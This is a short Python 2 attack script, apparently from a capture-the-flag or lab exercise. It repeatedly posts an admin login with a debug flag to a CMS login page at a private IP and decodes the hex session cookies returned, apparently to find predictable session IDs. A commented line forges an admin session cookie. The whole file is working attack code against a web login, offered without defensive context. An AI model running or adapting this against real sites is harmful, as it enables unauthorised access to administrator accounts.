#!/usr/bin/python

__author__ = "bt3"

import requests

def brute_force_password(URL, PAYLOAD, MAXID):

    for i in range(MAXID):
        #HEADER ={'Cookie':'PHPSESSID=' + (str(i) + '-admin').encode('hex')}
        r = requests.post(URL, params=PAYLOAD)

	print(i)
	print r.text
	id_hex = requests.utils.dict_from_cookiejar(r.cookies)['PHPSESSID']
	print(id_hex.decode('hex'))




if __name__ == '__main__':

    #AUTH = ('admin', 'password')
    URL = 'http://10.13.37.12/cms/admin/login.php'

    PAYLOAD = ({'debug': '1', 'username': 'admin', 'password': 'pass'})
    MAXID = 640

    brute_force_password(URL, PAYLOAD, MAXID)